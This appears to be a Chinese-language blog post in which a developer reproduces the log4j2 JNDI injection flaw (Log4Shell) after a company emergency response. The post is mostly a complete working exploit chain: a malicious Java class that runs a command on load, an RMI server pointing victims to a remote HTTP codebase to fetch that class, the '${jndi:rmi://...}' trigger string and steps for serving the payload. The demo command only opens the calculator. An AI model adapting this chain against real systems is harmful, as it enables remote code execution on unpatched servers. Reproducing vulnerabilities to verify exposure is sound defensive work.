復現 log4j2 CNVD-2021-95914 漏洞

前景：昨天被一則新聞刷屏

 

　　當看到這個消息的時候，公司也啟動緊急響應，要求來檢查目前生產中使用的log4j版本是否有這個問題，根據火線官方說明，但凡是版本在 2.x <= 2.15.0-rc1，都會有這個漏洞，一看到這個，我就知道基本全覆蓋了，果然一看服務器上的組件，hadoop全家桶、elasticsearch、flink、spark 基本全部命中，緊急之下，先讓運維同志先攔截一切帶有 jndi: 關鍵字的請求，為了更好的驗證這個bug，我們在自己的電腦上做了復現

 

RmiServer：Rmi服務端代碼

　　該項目用於啟動Rmi的地址服務功能

　　com.server.EvilObj //惡意代碼，會啟動客戶端的計算器軟件

package com.server;//package com.hns;

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

public class EvilObj extends UnicastRemoteObject {
    protected EvilObj() throws RemoteException {
    }

    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

　　com.server.Server //rmi服務,綁定rmi注冊表

package com.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://192.168.32.90:6666/"; //下載惡意代碼的地址，被攻擊者會到 http://192.168.32.90:6666/com/server/EvilObj.class下載惡意代碼
        System.out.println("Create RMI registry on port 1099"); 20 Reference reference = new Reference("com.server.EvilObj", "com.server.EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
22         registry.bind("evil", referenceWrapper); 
 } 
}

　

Log4j2Client ：Log4j2客戶端代碼

　　com.client.Client

package com.client;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;

public class Client {
    private static Logger log = LogManager.getLogger(Client.class);
    public static void main(String[] args) throws NamingException, InterruptedException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
//        Context context = new InitialContext();
//        context.lookup("rmi://192.168.32.90:1099/evil"); //直接請求rmi服務

        log.error("${jndi:rmi://192.168.32.90:1099/evil}"); //用jndi方式，拉取加載rmi服務
    }
}

　　

部署：

　　1、將RmiServer 項目部署到 一台遠程的window電腦上（192.168.32.90），使用下面命令啟動

D:\ProgramFiles\java\jdk1.8.0_121\bin\java.exe -cp RmiServer-1.0-SNAPSHOT.jar com.server.Server

　　

　　2、在遠程的window電腦上（192.168.32.90）上創建目錄：D:\documents\desktop\test\ClassLoadHttpServer\com\server，里面放上 惡意代碼的class文件：EvilObj.class

　　

　　3、在D:\documents\desktop\test\ClassLoadHttpServer目錄下，執行下面命令，啟動一個http服務端，提供惡意代碼的class文件給被攻擊者下載

1 python -m http.server 6666

 　　

　　4、在本機上，啟動Log4j2Client項目的 com.client.Client#main 方法，就會觸發自己本機的計算器被啟動